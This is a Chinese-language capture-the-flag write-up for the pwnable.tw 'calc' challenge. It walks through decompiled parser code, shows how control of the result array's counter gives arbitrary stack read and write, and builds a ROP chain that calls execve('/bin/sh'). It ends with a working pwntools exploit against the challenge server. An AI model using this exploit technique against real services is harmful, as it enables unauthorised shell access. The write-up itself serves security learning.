PWNABLE calc

查看文件基本信息

分析程序行为

静态分析

 1 unsigned int calc()
 2 {
 3   int every_num[101]; // [esp+18h] [ebp-5A0h] BYREF
 4   char s[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
 5   unsigned int v3; // [esp+5ACh] [ebp-Ch]
 6 
 7   v3 = __readgsdword(0x14u);
 8   while ( 1 )
 9   {
10     bzero(s, 1024u);
11     if ( !get_expr((int)s, 1024) )              // 获取输入的公式，限制长度1024，
12       break;                                    // 所以不存在栈溢出
13     init_pool(every_num);                       // 将数组的每一个单位初始化为0
14     if ( parse_expr((int)s, every_num) )
15     {
16       printf("%d
", every_num[every_num[0]]);  // every_num的第一个数存放
17                                                 // 数组的长度，计算结果放在
18                                                 // 最后一个数中
19       fflush(stdout);
20     }
21   }
22   return __readgsdword(0x14u) ^ v3;
23 }

 1 int __cdecl parse_expr(int expression, _DWORD *every_num)
 2 {
 3   int v3; // eax
 4   _BYTE *temp; // [esp+20h] [ebp-88h]
 5   int i; // [esp+24h] [ebp-84h]
 6   int v6; // [esp+28h] [ebp-80h]
 7   unsigned int v7; // [esp+2Ch] [ebp-7Ch]
 8   char *s1; // [esp+30h] [ebp-78h]
 9   int v9; // [esp+34h] [ebp-74h]
10   char fuhao[100]; // [esp+38h] [ebp-70h] BYREF
11   unsigned int v11; // [esp+9Ch] [ebp-Ch]
12 
13   v11 = __readgsdword(0x14u);
14   temp = (_BYTE *)expression;
15   v6 = 0;
16   bzero(fuhao, 0x64u);
17   for ( i = 0; ; ++i )
18   {
19     if ( (unsigned int)(*(char *)(i + expression) - 48) > 9 )
20     {
21       v7 = i + expression - (_DWORD)temp;
22       s1 = (char *)malloc(v7 + 1);
23       memcpy(s1, temp, v7);
24       s1[v7] = 0;                               // 给字符串设置结尾
25       if ( !strcmp(s1, "0") )                   // 只要是表达式中出现0，就报这个错误
26       {
27         puts("prevent division by zero");
28         fflush(stdout);
29         return 0;
30       }
31       v9 = atoi(s1);
32       if ( v9 > 0 )
33       {                                         // 漏洞点
34         v3 = (*every_num)++;                    // 一直对数组中的第一个数进行加1，最后这个值即为表达式中数字的数量
35         every_num[v3 + 1] = v9;                 // 若能控制every_num数组的第一个数，就能够实现任意读写
36       }
37       if ( *(_BYTE *)(i + expression) && (unsigned int)(*(char *)(i + 1 + expression) - 48) > 9 )
38       {
39         puts("expression error!");              // 如果出现两个符号相连，就报错
40         fflush(stdout);
41         return 0;
42       }
43       temp = (_BYTE *)(i + 1 + expression);     // 将temp指向下一个数字的头部
44       if ( fuhao[v6] )
45       {
46         switch ( *(_BYTE *)(i + expression) )
47         {
48           case '%':
49           case '*':
50           case '/':
51             if ( fuhao[v6] != '+' && fuhao[v6] != '-' )
52               goto LABEL_14;
53             fuhao[++v6] = *(_BYTE *)(i + expression);
54             break;
55           case '+':
56           case '-':
57 LABEL_14:
58             eval(every_num, fuhao[v6]);
59             fuhao[v6] = *(_BYTE *)(i + expression);
60             break;
61           default:
62             eval(every_num, fuhao[v6--]);
63             break;
64         }
65       }
66       else
67       {
68         fuhao[v6] = *(_BYTE *)(i + expression); // 用于处理循环第一次时，给第一个符号数组进行赋值
69       }
70       if ( !*(_BYTE *)(i + expression) )
71         break;                                  // 如果是空的，那就结束程序
72     }
73   }
74   while ( v6 >= 0 )
75     eval(every_num, fuhao[v6--]);
76   return 1;
77 }

漏洞利用

静态链接存在大量gadget，故考虑用ret2system，这里程序中不存在现成的“/bin/sh”，所以需要手动输入到栈中，但这样得需要知道栈的地址

所以这里利用calc函数栈中的old_ebp来确定栈的位置

来看一下动态调试中，刚进入calc函数时，栈的情况：

这里的c8位置，即为old_ebp的位置，我们可以用every_num[360]来进行泄露

那么同样的，cc位置为every_num[361]，d0位置为every_num[362]，d4位置为every_num[363]……

需要注意的是，e8这个位置，是我们泄露出来的old_ebp，所以可以直接用这个old_ebp来相对表示栈的其他位置，比如e4位置可以表示成old_ebp-0x4，ec位置可以表示成old_ebp+0x4等等

所以找到合适的gadget后，可以按下图来覆盖栈

EXP

from pwn import *

# context.log_level = 'debug'

'''
0x0805c34b : pop eax ; ret
0x080701d0 : pop edx ; pop ecx ; pop ebx ; ret
0x08049a21 : int 0x80
'''

# io=process('./calc')
io=remote('chall.pwnable.tw','10100')
io.recvuntil('=== Welcome to SECPROG calculator ===')
io.sendline('+360')
io.recv()
old_ebp=int(io.recv())

gadget=[0x0805c34b,0xb,0x080701d0,0,0,old_ebp,0x08049a21,u32('/bin'),u32('/shx00')]

for i in range(0,len(gadget)):
    io.sendline('+'+str(361+i))
    tmp=gadget[i]-int(io.recvline())
    if tmp>0:
        io.sendline('+'+str(361+i)+'+'+str(tmp))
    else:
        io.sendline('+'+str(361+i)+str(tmp))
    io.recvline()

io.sendline()
io.interactive()